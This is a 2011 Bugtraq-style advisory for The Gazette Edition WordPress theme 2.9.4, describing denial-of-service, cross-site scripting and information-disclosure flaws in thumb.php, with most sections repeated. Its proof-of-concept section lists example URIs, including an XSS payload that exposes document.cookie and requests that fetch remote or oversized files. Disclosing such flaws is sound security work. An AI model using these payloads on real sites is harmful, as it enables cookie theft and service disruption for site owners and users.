The Gazette Edition For Wordpress Multiple Security Vulnerabilities
BID:47320
Info
The Gazette Edition For Wordpress Multiple Security Vulnerabilities
| Bugtraq ID: | 47320 |
| Class: | Unknown |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 12 2011 12:00AM |
| Updated: | Apr 12 2011 12:00AM |
| Credit: | MustLive |
| Vulnerable: |
WordPress The Gazette Edition 2.9.4 |
| Not Vulnerable: | |
Discussion
The Gazette Edition For Wordpress Multiple Security Vulnerabilities
The Gazette Edition for Wordpress is prone to multiple security vulnerabilities. These vulnerabilities include multiple denial-of-service vulnerabilities, a cross-site scripting vulnerability, and an information-disclosure vulnerability.
Exploiting these issues could allow an attacker to deny service to legitimate users, gain access to sensitive information, execute arbitrary script code, or steal cookie-based authentication credentials. Other attacks may also be possible.
Gazette Edition for Wordpress 2.9.4 and prior versions are vulnerable.
The Gazette Edition for Wordpress is prone to multiple security vulnerabilities. These vulnerabilities include multiple denial-of-service vulnerabilities, a cross-site scripting vulnerability, and an information-disclosure vulnerability.
Exploiting these issues could allow an attacker to deny service to legitimate users, gain access to sensitive information, execute arbitrary script code, or steal cookie-based authentication credentials. Other attacks may also be possible.
Gazette Edition for Wordpress 2.9.4 and prior versions are vulnerable.
Exploit / POC
The Gazette Edition For Wordpress Multiple Security Vulnerabilities
The following example URIs are available:
http://www.example.com/wp-content/themes/gazette/thumb.php?src=1%3Cbody%20onload=alert(document.cookie)%3E
http://www.example.com/wp-content/themes/gazette/thumb.php?src=http://site
http://www.example.com/wp-content/themes/gazette/thumb.php?src=http://site/big_file&h=1&w=1
The following example URIs are available:
http://www.example.com/wp-content/themes/gazette/thumb.php?src=1%3Cbody%20onload=alert(document.cookie)%3E
http://www.example.com/wp-content/themes/gazette/thumb.php?src=http://site
http://www.example.com/wp-content/themes/gazette/thumb.php?src=http://site/big_file&h=1&w=1
Solution / Fix
The Gazette Edition For Wordpress Multiple Security Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
The Gazette Edition For Wordpress Multiple Security Vulnerabilities
References:
References:
- The Gazette Edition (Wordpress)